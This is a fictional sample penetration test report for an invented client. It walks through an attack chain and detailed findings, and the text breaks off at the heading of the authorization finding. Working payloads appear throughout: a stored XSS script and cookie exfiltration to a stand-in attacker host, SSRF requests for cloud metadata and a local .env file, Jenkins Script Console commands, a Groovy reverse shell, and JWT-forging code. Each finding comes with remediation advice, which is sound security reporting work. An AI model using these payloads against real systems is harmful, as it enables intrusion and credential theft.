



WEB APPLICATION PENETRATION TEST

REPORT

Prepared For: Target Practice Ltd.

Date: June 3, 2026

Version: 1.0

Start Date: 5/25/26

End Date: 6/3/26

DOCUMENT CONTROL

CLIENT CONTACTS

NAME	ROLE	EMAIL	PHONE
John Doe	IT Director	j.doe@targetpractice.com	+1 555-0101
Technical Support	Security Team	info@targetpractice.com	-

This document undergoes regular review and updates. The history of changes is recorded below.

VERSION	DATE	AUTHOR	DESCRIPTION
1.0	6/3/26	Palfrey Security	Final Release

DISCLAIMERS

SAMPLE REPORT: This document is a fictional demonstration report created for portfolio and illustrative purposes only. The client "Target Practice Ltd.", all associated domains, IP addresses, user accounts, credentials, and vulnerabilities described herein are entirely fictitious. No actual penetration test was conducted, and no real systems were assessed or compromised.

The conclusions in this report are based on the information available at the time of the assessment. Automated tools and manual techniques were used to identify vulnerabilities. Security is a continuous process, and this report represents a snapshot in time.

TABLE OF CONTENTS

Document Control

Executive Summary

Scope

Methodology

Assessment Summary

Web Pentest Walkthrough

Detailed Walkthrough

Findings Table

Remediation Summary

Technical Findings

Appendix

Finding Severities

Host Discovery

Subdomain Discovery

Exploited Hosts

Compromised Users

Cleanup

EXECUTIVE SUMMARY

The assessed web application environment presented a **critical attack surface** centered on a single point of failure: a **Stored Cross-Site Scripting** vulnerability in the public-facing contact form that, once chained with a **missing HttpOnly cookie attribute**, allowed any unauthenticated internet user to seize an administrator's session with no interaction required beyond the administrator's normal review of incoming support tickets. From that single foothold, the assessor demonstrated a complete compromise of the in-scope environment: the hijacked administrative session enabled a **Server-Side Request Forgery** against an internal-only API endpoint, which exposed cloud instance metadata, internal network services, and ultimately an unauthenticated **Jenkins CI/CD server** within the production subnet. The **Jenkins Script Console**, left reachable without any access control, provided arbitrary **remote code execution** on that host, yielding deployment credentials, SSH keys, and a complete operating-system-level foothold independent of any web application defense.

In parallel, the assessor identified a second, independently sufficient path to full administrative compromise: a **Broken Object Level Authorization** flaw in the **GraphQL API** allowed any authenticated user to overwrite another account's email address, enabling **account takeover** via the password reset flow, while a **Mass Assignment** vulnerability in the same mutation allowed a standard user to grant themselves **administrative privileges** directly, without needing to compromise any other account at all. Both paths were independently exploitable, and either alone would have resulted in full administrative compromise of Target Practice Ltd.'s environment.

The remaining findings, including a **weak JWT implementation** enabling authentication bypass on the legacy customer portal, a **dangling CNAME** exposing the organization to subdomain takeover, and a series of configuration and information-disclosure weaknesses, compound the severity of the primary attack chains by reducing attacker reconnaissance effort and removing defense-in-depth controls that would otherwise have limited the blast radius of the critical findings.

Given the number and severity of findings identified, the assessor recommends Target Practice Ltd. treat this assessment as evidence of a **systemic gap in secure development and infrastructure hardening practices**, rather than as a set of isolated defects. Remediation of the two critical and four high-risk findings should be prioritized immediately, given the demonstrated path to full administrative and host-level compromise.

Approach

The assessor performed testing under a **"Gray Box"** approach from May 25, 2026 to June 3, 2026 against Target Practice Ltd.'s target web application(s) with the goal of identifying unknown weaknesses. Testing was performed from a non-evasive standpoint with the goal of uncovering as many misconfigurations, business logic flaws, and **OWASP Top 10** vulnerabilities as possible. Testing was performed remotely from the assessor's assessment labs. Each weakness identified was documented and manually investigated to determine exploitation possibilities. The assessor sought to demonstrate the full impact of every vulnerability, up to and including data exfiltration, account takeover, and unauthorized administrative access. Where applicable, the assessor attempted vertical and horizontal privilege escalation to demonstrate the risk to Target Practice Ltd.'s sensitive data and user integrity.

2

CRITICAL

4

HIGH

7

MEDIUM

1

LOW

SCOPE

The scope of this assessment was limited to the web applications, network segments, and associated interfaces specified by **Target Practice**. Testing was conducted to identify vulnerabilities within the application and network layers.

In Scope Assets

ASSET (HOST/URL/IP/RANGE)	DESCRIPTION	AUTHENTICATION LEVEL
*.targetpractice.com	Wildcard Scope: All subdomains associated with the main domain	Unauthenticated
https://targetpractice.com	Main Corporate Website	Unauthenticated
https://admin.targetpractice.com/dashboard	Specific URL: Administrative Interface	Authenticated (Admin Role)
192.0.2.15	Single IP: Load Balancer / WAF	Unauthenticated
203.0.113.0/24	Network Range: Production Server Subnet	Unauthenticated (Internal Network)
https://api.targetpractice.com/graphql	API Endpoint (GraphQL)	Authenticated (Standard User)
https://legacy.targetpractice.com	Legacy Customer Portal	Authenticated (Test Account)

METHODOLOGY

The assessment was conducted following industry best practices for web application security, primarily the **OWASP Web Security Testing Guide (WSTG)**, **OWASP Top 10**, and the **OWASP Application Security Verification Standard (ASVS)**.

Assessment Phases

PHASE 1

Information Gathering & Reconnaissance

Mapping the application architecture, identifying subdomains, API endpoints, technology stacks, and reviewing client-side code for sensitive data.

PHASE 2

Authentication & Session Management

Testing for broken authentication, session fixation, weak password policies, and inadequate authorization (IDOR, Privilege Escalation).

PHASE 3

Input Validation & Business Logic

Probing for injection attacks (SQLi, XSS, XXE, CMDi) and manipulating business logic flows to identify flaws in data processing and integrity.

PHASE 4

Reporting & Analysis

Validating potential vulnerabilities, analyzing the risk impact on business operations, and documenting remediation steps.

ASSESSMENT SUMMARY

Application Summary

During the penetration test against Target Practice Ltd., **Aleksandr Fastenko** identified **15 findings** that threaten the confidentiality, integrity, and availability of Target Practice Ltd.'s information systems. The findings were categorized by severity level, with **2** of the findings being assigned a critical-risk rating, **4** high-risk, **7** medium-risk, and **1** low-risk, along with **1 informational** finding.

Findings Summary

The assessment revealed that Target Practice Ltd.'s public-facing web application and supporting infrastructure contained multiple systemic weaknesses that, when chained together, allowed the assessment team to progress from an unauthenticated external attacker to full administrative compromise of both the web application and an internal CI/CD host. The most impactful issues stem from two recurring root causes. The first is **insufficient output encoding and cookie hardening**, where a Stored XSS flaw in the public contact form, combined with a missing `HttpOnly` attribute on the session cookie, allowed an unauthenticated attacker to hijack an administrator's session the moment a submitted ticket was reviewed - a foothold that was then escalated via **Server-Side Request Forgery** into the internal `203.0.113.0/24` subnet, exposing an unauthenticated Jenkins Script Console and yielding full remote code execution. The second is **missing object- and field-level authorization in the GraphQL API**, where the `updateUserProfile` mutation allowed any authenticated user to overwrite another account's email address (enabling account takeover via password reset) and, independently, to grant themselves administrative privileges by submitting undocumented `role` and `isAdmin` fields. Either of these two root causes was independently sufficient to achieve full administrative compromise of the application.

Target Practice Ltd. should create a remediation plan based on the [Remediation Summary](#) section of this report, addressing all critical and high findings as soon as possible according to the needs of the business. Priority should be given to rotating all credentials and secrets exposed during the engagement (the `ARTIFACT_REPO_TOKEN`, the SSH key referenced by `DEPLOY_SSH_KEY_PATH`, the database connection string and third-party API key disclosed via the SSRF-driven `.env` read, and any captured administrator session tokens), and to closing the Jenkins anonymous-access and GraphQL authorization gaps that enabled the demonstrated compromise. Target Practice Ltd. should also consider performing periodic vulnerability assessments if they are not already being performed. Once the issues identified in this report have been addressed, a more collaborative, in-depth Web Application Security Assessment or Source Code Review may help identify additional opportunities to harden the application environment, making it more difficult for attackers to compromise sensitive data and increasing the likelihood that Target Practice Ltd. will be able to detect and respond to suspicious activity.

WEB PENTEST WALKTHROUGH

During the course of the assessment, the assessor was able to identify an **attack chain** beginning with the target web application, which allowed for unauthorized access and escalation to full administrative control over the application environment and associated sensitive data. The steps below demonstrate the path taken from initial discovery to complete application compromise and do not include all vulnerabilities and misconfigurations discovered during the course of testing. Any issues not used as part of the path to compromise are listed as separate, standalone issues in the **Technical Findings** section, ranked by severity level.

The intent of this attack chain is to demonstrate to Target Practice Ltd. the impact of each vulnerability shown in this report and how they fit together to demonstrate the overall risk to the application ecosystem and help prioritize remediation efforts (e.g., patching a single logic flaw could break the attack chain while the company works to remediate all reported issues). While other findings shown in this report could be leveraged to gain a similar level of access, this attack chain shows the initial path of least resistance taken by the tester to achieve full compromise of the application's integrity and confidentiality.

Detailed Walkthrough

The assessor performed the following to fully compromise the target web application and associated sensitive data:

Vulnerability Discovery: Identified a Stored Cross-Site Scripting flaw in the public-facing contact form, combined with a missing `HttpOnly` attribute on the application's session cookie.

Exploitation & Initial Access: Leveraged the stored payload to hijack an authenticated administrator's session the moment the submitted feedback ticket was viewed in the administrative dashboard.

Privilege Escalation: Used the hijacked administrative session to reach a Server-Side Request Forgery vulnerability in the dashboard's bulk import feature, converting a web-application-level compromise into a network-level pivot point inside the internal production subnet.

Data Compromise: Used the SSRF primitive to discover an unauthenticated Jenkins CI/CD server on the internal subnet, and exploited its exposed Script Console to achieve full remote code execution, extracting deployment credentials, SSH keys, and operating-system-level access independent of the web application layer.

Detailed reproduction steps for this attack chain are as follows:

Step 1: Stored XSS Payload Submission

A blind Cross-Site Scripting payload was submitted through the public feedback form on the main corporate website, intercepted and modified in Burp Suite before sending.

```
POST /api/feedback/submit HTTP/1.1
Host: targetpractice.com
Content-Type: application/json

{
  "customer_name": "John Doe <script src=\"https://attacker-
controlled.example/xss.js\"></script>",
  "email": "test@test.com",
  "message": "Testing the support portal."
}
```

The server responded with 200 OK and stored the payload without sanitization, as detailed in the Stored XSS finding in this report.

Step 2: Administrative Session Hijack

The payload executed when a legitimate administrator opened the corresponding ticket in the dashboard. Because the session cookie lacked the HttpOnly attribute, the injected script read document.cookie directly and exfiltrated the live session token to an attacker-controlled listener.

```
GET /collect?
cookie=session%3DhJ*****wQ&url=https%3A%2F%2Fadmin.targetpra
ctice.com%2Fdashboard%2Ftickets HTTP/1.1
Host: attacker-controlled.example
```

The captured token was confirmed valid by replaying it directly against the admin dashboard, returning a fully authenticated administrative session.

Step 3: SSRF Pivot via Bulk Import Feature

The hijacked administrative session was used to reach the dashboard's "Bulk Import Customer Data" feature, which fetched a server-supplied URL without restriction. The source_url parameter was modified to target the cloud instance metadata service, confirming the server-side fetch could reach destinations outside the application's own network segment.

```
POST /api/admin/import HTTP/1.1
Host: admin.targetpractice.com
Cookie: session=hJ*****wQ
Content-Type: application/json

{
  "source_url": "http://169.254.169.254/latest/meta-data/iam/security-
credentials/",
  "format": "csv"
}
```

The import preview reflected the IAM role name attached to the host, confirming the SSRF primitive.

Step 4: Internal Network Discovery

The same parameter was iterated against IP addresses and ports within the in-scope 203.0.113.0/24 production subnet to map internal services reachable from the application host. A measurable difference in response time and content length confirmed that port 8080 on 203.0.113.45 was open and serving an HTTP application.

```
{
  "source_url": "http://203.0.113.45:8080/api/json?pretty=true",
  "format": "csv"
}
```

The returned content identified the service as an unauthenticated Jenkins instance, as detailed in the Exposed Jenkins finding in this report.

Step 5: Remote Code Execution via Jenkins Script Console

Direct access to the internal subnet was used to reach the Jenkins Script Console, confirmed to be accessible without authentication.

```
curl -s 'http://203.0.113.45:8080/scriptText' \
  --data-urlencode 'script=println "id".execute().text'
```

The response confirmed arbitrary OS command execution as the jenkins service account:

```
uid=997(jenkins) gid=995(jenkins) groups=995(jenkins)
```

An interactive reverse shell was subsequently established to confirm full remote code execution and to enumerate environment variables, which disclosed a DEPLOY_SSH_KEY_PATH and an ARTIFACT_REPO_TOKEN, both used by automated deployment jobs. Full technical details, including the complete Groovy payloads used, are documented in the Remote Code Execution via Jenkins Script Console finding in this report.

FINDINGS TABLE

#	RISK	VULNERABILITY
1	CRITICAL	Remote Code Execution via Jenkins Script Console
2	CRITICAL	Stored Cross-Site Scripting (XSS) in Admin Dashboard
3	HIGH	Server-Side Request Forgery (SSRF) via Admin "Import from URL" Feature
4	HIGH	Weak JWT Implementation on Legacy Customer Portal
5	HIGH	Broken Object Level Authorization (BOLA/IDOR) Allowing Account Takeover
6	HIGH	Mass Assignment in GraphQL `updateUserProfile` Mutation Allowing Privilege Escalation
7	MEDIUM	Exposed Jenkins Instance on Internal Subnet with Anonymous Access
8	MEDIUM	Subdomain Takeover Risk via Dangling CNAME Record
9	MEDIUM	Directory Listing Enabled on Static Assets Host
10	MEDIUM	GraphQL Introspection Enabled in Production
11	MEDIUM	Missing Rate Limiting on Authentication and Password Reset Endpoints
12	MEDIUM	Verbose Error Messages Disclosing Stack Traces and Internal Implementation Details
13	MEDIUM	Missing Content Security Policy on Main Application
14	LOW	Session Cookie Missing Secure and HttpOnly Attributes
15	INFO	Server Banner and Software Version Disclosure

REMEDIATION SUMMARY

As a result of this assessment, there are several opportunities for Target Practice Ltd. to strengthen the security of its web applications and underlying data architecture. Remediation efforts are prioritized below, starting with those that will likely take the least amount of time and effort to complete. Target Practice Ltd. should ensure that all remediation steps and mitigating controls are carefully planned and tested within a staging environment to prevent any service disruptions or impact on application availability and data integrity.

Immediate Action - Credential Rotation: Before addressing individual findings, Target Practice Ltd. should rotate all credentials and secrets exposed during this engagement as a matter of urgency. This includes the `ARTIFACT_REPO_TOKEN` and the SSH private key referenced by `DEPLOY_SSH_KEY_PATH`, both disclosed via Jenkins environment variable enumeration; the database connection string and third-party API key disclosed in the application's `.env` file via the SSRF local file read; and any administrator session tokens captured during testing. Rotation should be treated as urgent given that these values were retrievable by an unauthenticated external party through the demonstrated attack chain.

Short Term Recommendations

- **[Stored Cross-Site Scripting (XSS) in Admin Dashboard]:** Implement context-aware HTML entity encoding on all user-supplied data rendered in the administrative dashboard, and apply strict allow-list input validation on the public feedback form.
- **[Session Cookie Missing Secure and HttpOnly Attributes]:** Set the `Secure`, `HttpOnly`, and `SameSite` flags on all sensitive session cookies across the main application, admin dashboard, and legacy portal.
- **[Broken Object Level Authorization (BOLA/IDOR) Allowing Account Takeover]:** Enforce server-side access control checks that derive the acting user's identity from the session token rather than a client-supplied `userId` parameter.
- **[Mass Assignment in GraphQL `updateUserProfile` Mutation]:** Restrict the mutation's input type to an explicit allow-list of self-service fields, removing `role` and `isAdmin` from any input reachable by non-administrative users.
- **[Exposed Jenkins Instance on Internal Subnet with Anonymous Access]:** Enable a proper Jenkins security realm immediately and disable anonymous read/script access.
- **[Subdomain Takeover Risk via Dangling CNAME Record]:** Remove the dangling `promo.targetpractice.com` CNAME record without delay, as no legitimate service currently depends on it.
- **[Directory Listing Enabled on Static Assets Host]:** Disable directory indexing on the static assets path and remove any stale files discovered during the listing review.

Medium Term Recommendations

- **[Server-Side Request Forgery (SSRF) via Admin "Import from URL" Feature]:** Implement destination allow-listing, protocol restriction, and blocking of RFC1918/link-local address ranges for all server-side fetch functionality.
- **[Weak JWT Implementation on Legacy Customer Portal]:** Pin the expected signing algorithm at verification time and eliminate support for the `none` algorithm and cross-algorithm key reuse.

- **[Remote Code Execution via Jenkins Script Console]**: Restrict RUN_SCRIPTS permission to a minimal set of trusted administrators and segment CI/CD infrastructure onto an isolated management network.
- **[Lack of Rate Limiting on Authentication and Password Reset Endpoints]**: Implement progressive throttling, CAPTCHA challenges, and higher-entropy reset tokens on /login and /forgot-password.
- **[GraphQL Introspection Enabled in Production]**: Disable __schema and __type introspection queries outside of development and staging environments.
- **[Verbose Error Messages Disclosing Stack Traces]**: Disable framework debug modes in production and implement centralized error handling that returns generic client-facing error messages.
- **[Missing Content Security Policy on Main Application]**: Deploy a strict CSP header and X-Frame-Options across the main application to mitigate clickjacking and reduce the impact of any future injection vulnerability.

Long Term Recommendations

- **[Security Scanning in CI/CD]**: Integrate security scanning (SAST/DAST) into the CI/CD pipeline to detect vulnerabilities like XSS, BOLA, and SSRF early in the development lifecycle, ideally before they reach an internet-facing environment.
- **[Secure Coding Training]**: Conduct regular secure coding training for developers, specifically focusing on OWASP Top 10 and OWASP API Security Top 10 vulnerabilities (Broken Access Control, Server-Side Request Forgery, Mass Assignment).
- **[DNS Hygiene Process]**: Establish a recurring DNS zone audit and service decommissioning checklist to prevent recurrence of dangling records such as the subdomain takeover finding identified in this assessment.
- **[Credential Broker Adoption]**: Adopt a credential broker (e.g., HashiCorp Vault, AWS Secrets Manager) for all CI/CD and deployment secrets, removing long-lived credentials from environment variables and job configurations.
- **[Periodic Penetration Testing]**: Perform periodic penetration tests, especially after major application updates or releases, and following remediation of the findings in this report to validate fixes.
- **[Threat Modeling]**: Conduct threat modeling sessions during the design phase of new features, with particular attention to authorization boundaries in GraphQL mutations, where this assessment identified two independent, severe authorization failures.
- **[Version Banner Suppression]**: Suppress server and framework version banners (Server, X-Powered-By) across all in-scope hosts as part of a broader hardening pass, in conjunction with a regular patch management cadence.

TECHNICAL FINDINGS

Remote Code Execution via Jenkins Script Console

Location: `http://203.0.113.45:8080/script`

CRITICAL SEVERITY

CVSS Score: 10.0 | CWE: CWE-94

DESCRIPTION & SECURITY IMPACT

The Jenkins instance's anonymous access configuration extended to the Script Console, a built-in administrative feature located at `/script` that accepts arbitrary Apache Groovy code and executes it server-side with the operating system privileges of the Jenkins service account. Because no authentication realm was enforced, this endpoint was reachable from within the internal network segment without any credential, turning the configuration weakness into a complete code execution primitive.

Technical Details:

- **Vulnerable Endpoint:** `POST /script` (and `/scriptText` for the headless API variant)
- **Vulnerable Parameter:** `script` (raw Groovy source)
- **Root Cause:** The Script Console is an intentional administrative feature, gated only by the authentication and authorization controls covering the rest of the Jenkins instance. Since those controls were disabled, the feature became directly reachable by any party with network access to the host.

This finding represents full compromise of the Jenkins host's operating system. Groovy code executed through the Script Console runs with the same privileges as the Jenkins service, which on this host included read access to the local filesystem, environment variables holding deployment credentials, and SSH keys used by automated deployment jobs. This level of access provides a foothold that exists independently of the externally facing web applications in scope and represents the most severe single outcome documented in this report.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Script Console Access Confirmation

The Script Console page was requested directly from a host within the internal `203.0.113.0/24` segment to confirm it rendered without a login redirect.

```
curl -s -o /dev/null -w "%{http_code}\n" http://203.0.113.45:8080/script
200
```

Step 2: Command Execution via Groovy

The following Groovy payload was submitted to the headless scripting API to confirm OS command execution:

```
curl -s 'http://203.0.113.45:8080/scriptText' \
  --data-urlencode 'script=println "id".execute().text'
```

The response returned the output of the `id` command, confirming that arbitrary OS commands were executed with the privileges of the Jenkins service account:

```
uid=997(jenkins) gid=995(jenkins) groups=995(jenkins)
```

Step 3: Environment and Credential Enumeration

The following Groovy payload was used to enumerate environment variables available to the Jenkins process, a common location for embedded deployment secrets:

```
curl -s 'http://203.0.113.45:8080/scriptText' \
  --data-urlencode 'script=println System.getenv()'
```

The output disclosed a `DEPLOY_SSH_KEY_PATH` environment variable pointing to a private key used by automated deployment jobs, and an `ARTIFACT_REPO_TOKEN` value used to authenticate to the organization's internal package registry.

Step 4: Reverse Shell Establishment

To confirm full interactive code execution rather than one-off command output, a reverse shell was triggered using the following Groovy payload, pointing back to a listener under tester control:

```
curl -s 'http://203.0.113.45:8080/scriptText' --data-urlencode \
'script=String host="<TESTER_IP>";int port=4444;
String cmd="/bin/bash";Process p=new
ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());

while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read
());
so.flush();po.flush();Thread.sleep(50);
try{p.exitValue();break;}catch(Exception e){}}p.destroy();s.close();'
```

A connection was received on the listener, providing an interactive shell running as the Jenkins service account, confirming full remote code execution on the host.

- **Enable Authentication:** Configuring a real security realm and disabling anonymous access removes the prerequisite for this entire attack path.
- **Restrict Script Console Access:** Even with authentication enabled, limit RUN_SCRIPTS permission to a minimal set of trusted administrators via the Role Strategy or Matrix Authorization plugin; this permission is equivalent to root/administrator access on the Jenkins host and should never be broadly granted.
- **Network Segmentation:** Place CI/CD infrastructure on a management network segment isolated from other internal hosts to limit lateral reachability even if this misconfiguration recurs.
- **Credential Hygiene:** Avoid storing long-lived deployment credentials and SSH keys in environment variables readable by the Jenkins process; use a short-lived credential broker (e.g., HashiCorp Vault, AWS Secrets Manager with scoped IAM roles) injected at build time and scoped to individual jobs.
- **Audit Logging:** Enable Jenkins audit logging for Script Console usage so that any future use of this feature, legitimate or not, is recorded and alertable.

REFERENCES

- <https://www.jenkins.io/doc/book/managing/script-console/>
- <https://cwe.mitre.org/data/definitions/94.html>
- <https://www.jenkins.io/doc/book/security/managing-security/#authorization>

Stored Cross-Site Scripting (XSS) in Admin Dashboard

Location: `https://targetpractice.com/contact` (injection point) , `https://admin.targetpractice.com/dashboard/tickets` (execution point)

CRITICAL SEVERITY

CVSS Score: 9.3 | CWE: CWE-79

DESCRIPTION & SECURITY IMPACT

The "User Feedback" submission form on the public-facing contact page failed to properly sanitize user-supplied input before storing it in the database. When an administrator viewed the submitted feedback in the administrative dashboard, the unsanitized input was rendered directly into the HTML DOM without context-aware output encoding, allowing an unauthenticated attacker's injected JavaScript to execute within the context of an authenticated administrator's session.

Technical Details:

- **Vulnerable Endpoint:** POST /api/feedback/submit
- **Vulnerable Parameters:** customer_name, message
- **Root Cause:** The application relied on insecure data processing flows where input from the external, unauthenticated perimeter was inherently trusted by the internal administrative portal. The backend did not implement HTML entity encoding when rendering the data in the dashboard, and the session cookie's missing HttpOnly attribute (documented separately in this report) allowed the resulting script to directly exfiltrate the active session token.

This finding allowed an unauthenticated, external attacker to hijack the session of any administrator who viewed the submitted feedback ticket, with no action required from the administrator beyond normal use of the dashboard. The hijacked session was sufficient to gain full administrative access to the application, including the ability to modify system settings, access customer PII, and reach the "Import from URL" feature exploited in a separate finding in this report. Because the trigger required no interaction from the attacker once the payload was stored, this represents a self-propagating risk against any administrator who reviews incoming feedback.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Payload Submission

A blind XSS payload was submitted through the public feedback form, intercepted and modified in Burp Suite before sending.

```
POST /api/feedback/submit HTTP/1.1
Host: targetpractice.com
Content-Type: application/json

{
  "customer_name": "John Doe <script src=\"https://attacker-controlled.example/xss.js\"></script>",
  "email": "test@test.com",
```

```
"message": "Testing the support portal."
}
```

The server responded with 200 OK and stored the payload without modification.

Step 2: Stored Payload Execution

The payload remained dormant until a legitimate administrator opened the corresponding ticket in the dashboard.

```
GET /dashboard/tickets HTTP/1.1
Host: admin.targetpractice.com
Cookie: session=hJ*****wQ
```

When the ticket was rendered, the browser executed the injected script, which read the session cookie and transmitted it to the attacker-controlled listener.

Step 3: Session Token Capture

The attacker-controlled endpoint received the callback containing the administrator's session token.

```
GET /collect?
cookie=session%3DhJ*****wQ&url=https%3A%2F%2Fadmin.targetpractic
e.com%2Fdashboard%2Ftickets HTTP/1.1
Host: attacker-controlled.example
```

The captured session token was confirmed valid by replaying it directly against the admin dashboard, returning a fully authenticated administrative session.

SOLUTION & RECOMMENDATION

- **Input Validation:** Implement strict allow-list input validation on the server side for all fields submitted through public forms.
- **Output Encoding:** Enforce context-aware HTML entity encoding on the administrative dashboard before rendering any user-supplied data into the DOM.
- **Content Security Policy:** Implement a strict CSP header (e.g., `default-src 'self'; script-src 'self'`) on `admin.targetpractice.com` to block inline script execution and unauthorized external script sources, independent of the output-encoding fix.
- **Session Cookie Hardening:** Set the `HttpOnly` attribute on the session cookie so that even a future injection point cannot directly exfiltrate the session token, as detailed in the related finding in this report.

REFERENCES

- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting
- <https://portswigger.net/web-security/cross-site-scripting>

Server-Side Request Forgery (SSRF) via Admin "Import from URL" Feature

Location: <https://admin.targetpractice.com/api/admin/import>

HIGH SEVERITY

CVSS Score: 8.7 | CWE: CWE-918

DESCRIPTION & SECURITY IMPACT

The administrative dashboard at `admin.targetpractice.com/dashboard/settings/import` exposed a "Bulk Import Customer Data" feature that accepted a remote URL and fetched its contents server-side for processing. The backend performed the HTTP fetch without validating, restricting, or sanitizing the destination, with no allow-list, no protocol restriction, and no blocking of RFC1918 private ranges or the cloud metadata endpoint.

Technical Details:

- **URL:** POST `https://admin.targetpractice.com/api/admin/import`
- **Vulnerable Parameter:** `source_url`
- **Root Cause:** The backend treated the `source_url` parameter as fully trusted because the request originated from an authenticated admin context, without accounting for the fact that the network reachable from the application server extended well beyond the application's own trust boundary.

This finding allowed the admin session hijacked to be converted into a network-level pivot point inside the `203.0.113.0/24` production subnet. The same flaw also exposed cloud instance metadata and local files on the application host. This directly enabled the discovery of the internal Jenkins , and ultimately the remote code execution.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Session Hijack Reuse

The administrative session cookie captured via the Stored XSS callback was reused to authenticate directly to the admin API, bypassing the login form entirely.

```
GET /dashboard/settings/import HTTP/1.1
Host: admin.targetpractice.com
Cookie: session=hJ*****wQ
```

Step 2: Cloud Metadata Disclosure

The import endpoint was intercepted using Burp Suite, and the `source_url` parameter was modified to target the instance metadata service.

```
POST /api/admin/import HTTP/1.1
Host: admin.targetpractice.com
Cookie: session=hJ*****wQ
Content-Type: application/json

{
  "source_url": "http://169.254.169.254/latest/meta-data/iam/security-
credentials/",
  "format": "csv"
}
```

The import preview rendered in the dashboard reflected the IAM role name attached to the host, confirming that the server-side fetch reached the metadata service.

Step 3: Internal Port Scanning

The same parameter was iterated against IP addresses and ports within the in-scope `203.0.113.0/24` range to map internal services reachable from the application host.

```
{
  "source_url": "http://203.0.113.45:8080/",
  "format": "csv"
}
```

A measurable difference in response time and content length between closed and open ports confirmed that port 8080 on 203.0.113.45 was open and serving an HTTP application internally.

Step 4: Local File Disclosure

The `file://` wrapper was accepted by the underlying HTTP client library, allowing local file disclosure on the application server.

```
{
  "source_url": "file:///var/www/admin/.env",
  "format": "csv"
}
```

The application's `.env` file was returned in the import preview, disclosing database connection strings and a third-party API key.

SOLUTION & RECOMMENDATION

Allow-list Destinations: Restrict `source_url` to a strict allow-list of approved, pre-registered domains. Reject everything else by default.

- **Protocol Restriction:** Permit only `https://`, explicitly reject `file://`, `gopher://`, `dict://`, and `ftp://` schemes.
- **Block Internal Ranges:** Resolve the hostname server-side before connecting and reject resolution to RFC1918 ranges, loopback, and link-local addresses, including the cloud metadata range `169.254.169.254`.
- **DNS Rebinding Protection:** Pin the validated IP for the actual outbound connection rather than re-resolving the hostname at connection time.
- **Metadata Service Hardening:** Enforce IMDSv2 (token-based) on the cloud instance and restrict app-tier network access to the metadata endpoint where not required.

REFERENCES

- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server_Side_Request_Forgery
- <https://portswigger.net/web-security/ssrf>
- <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instance-metadata-v2-how-it-works>

Weak JWT Implementation on Legacy Customer Portal

Location: <https://legacy.targetpractice.com>

HIGH SEVERITY

CVSS Score: 8.2 | CWE: CWE-347

DESCRIPTION & SECURITY IMPACT

The legacy customer portal issued JSON Web Tokens for session management, and the server-side verification logic accepted tokens with the `alg` header set to `none`, in addition to honoring the algorithm specified in the token's own header when verifying HS256-signed tokens against a public key intended for the application's RS256 tokens. Both behaviors stem from a verification library configuration that trusted the algorithm field supplied by the client-controlled token rather than enforcing a fixed, server-defined algorithm.

Technical Details:

- **Vulnerable Component:** Session token verification middleware on `legacy.targetpractice.com`
- **Vulnerable Behavior:** Tokens with `"alg": "none"` were accepted without any signature check; additionally, the RS256 public key was usable as an HMAC secret against HS256-signed tokens (the classic RS256-to-HS256 key confusion)
- **Root Cause:** The JWT verification call did not pin an explicit, expected algorithm (e.g., `algorithms: ["RS256"]`), instead deferring to whatever algorithm the presented token's header declared.

Both weaknesses allow an attacker to forge a valid-looking session token for any user identity without knowledge of any private signing key, since the application's own public RS256 key, retrievable from its JWKS endpoint, is sufficient to produce an HMAC signature the server will accept. This results in full authentication bypass against the legacy portal, allowing impersonation of any user, including accounts with elevated privileges, without needing to compromise credentials or exploit a session of an existing user.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Algorithm Confusion (RS256 to HS256)

The application's public RSA key was retrieved from its published JWKS endpoint.

```
curl -s https://legacy.targetpractice.com/.well-known/jwks.json
```

The retrieved PEM-formatted public key was then used as the HMAC secret to forge a new token, with the header algorithm changed from RS256 to HS256, using a JWT crafting library.

```
import jwt

public_key = open("legacy_public_key.pem", "rb").read()
```

```
forged_token = jwt.encode(
    {"sub": "1022", "role": "admin", "iat": 1750000000},
    public_key,
    algorithm="HS256"
)
print(forged_token)
```

Step 2: Forged Token Submission

The forged token was submitted as the session credential to a protected endpoint on the legacy portal.

```
GET /account/profile HTTP/1.1
Host: legacy.targetpractice.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs*****wMH0
```

The server responded with HTTP 200 and returned the profile data for `userId: 1022`, confirming that the forged token was accepted as a valid session for that user despite never having been signed with the server's actual private key.

Step 3: alg: none Bypass

As a secondary confirmation, a second token was crafted with the algorithm header set to none and no signature segment, targeting the same victim identity.

```
import base64
import json

header = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ":
"JWT"}).encode()).rstrip(b"=")
payload = base64.urlsafe_b64encode(json.dumps({"sub": "1022", "role":
"admin"}).encode()).rstrip(b"=")

forged_token_none = header.decode() + "." + payload.decode() + "."
print(forged_token_none)
```

This token was likewise accepted by the same endpoint, confirming that two independent signature-verification bypasses existed simultaneously.

SOLUTION & RECOMMENDATION

- **Pin the Expected Algorithm:** Explicitly specify the allowed algorithm (or small fixed set) at verification time, e.g., `jwt.decode(token, key, algorithms=["RS256"])`, and never derive the verification algorithm from the token's own header.

- **Reject alg: none Unconditionally:** Ensure the JWT library version in use does not honor unsecured tokens; most modern libraries disable this by default, but configuration or legacy library versions can reintroduce it.
- **Separate Key Material by Purpose:** Do not reuse the same key pair or expose the public key in a way that could be repurposed as an HMAC secret; if RS256 and HS256 are both required across different services, use entirely distinct keys for each.
- **Short Token Lifetimes and Revocation:** Implement short-lived access tokens with a server-side revocation mechanism (e.g., a token denylist or refresh-token rotation), to limit the impact window of any future signature-verification flaw.

REFERENCES

- <https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/>
- <https://portswigger.net/web-security/jwt>

Broken Object Level Authorization (BOLA/IDOR) Allowing Account Takeover

